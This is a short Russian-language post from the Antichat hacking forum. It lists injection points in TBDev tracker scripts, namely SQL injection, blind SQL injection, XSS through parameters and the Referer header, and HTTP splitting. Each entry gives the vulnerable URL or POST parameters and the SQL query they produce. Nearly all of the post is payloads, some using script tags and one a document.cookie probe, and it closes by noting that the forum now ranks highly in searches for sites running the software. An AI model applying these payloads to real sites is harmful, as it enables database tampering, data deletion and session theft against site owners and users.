Форум АНТИЧАТ - Показать сообщение отдельно

SQL Inj

Код:

http://site/requests.php?action=reset&requestid=sql'

Запрос: SELECT userid, filledby FROM requests WHERE id =sql'

SQL Inj

Код:

http://site/requests.php?action=reset&requestid=sql'

Запрос: SELECT userid, filledby FROM requests WHERE id =sql'

SQL Inj:
POST:

Код:

http://site/requests.php
action=edit&category=1&id=SQL

Запрос: UPDATE requests SET cat=1, request='', descr='' WHERE id=SQL

Blind SQL Inj:
POST:

Код:

http://site/offers.php
action=edit&id=SQL

Запрос: UPDATE offers SET category='', name='', descr='' WHERE id=SQL

SQL Inj (требуются права модератора):
POST:

Код:

http://site/offers.php
deloffer=SQL

Запрос: DELETE FROM offers WHERE id = SQL

XSS

Код:

http://site/viewrequests.php?category=><script>alert(/XSS/)</script>

XSS(требуются права модератора)

Код:

http://site/staffmess.php?returnto=><script>alert(/XSS/)</script>

XSS in Referer:

Код:

http://site/offcomment.php?action=edit&cid=3
Referer: ><script>alert(/XSS/)</script>

Код:

http://site/offcomment.php?action=vieworiginal&cid=3
Referer: ""><script>alert(/XSS/)</script>

HTTP Splitting (требуются права модератора):

Код:

http://site/offcomment.php?action=delete&cid=1&sure=1&returnto=<script>alert(document.cookie)</script>

POST:

Код:

http://site/offcomment.php?action=edit&cid=3
msg=msg&returnto=value

З.Ы.
Сори за неупорядоченность, постил по мере нахождения. Кстати, теперь по Powered by TBDev на второй строчке гугла находится античат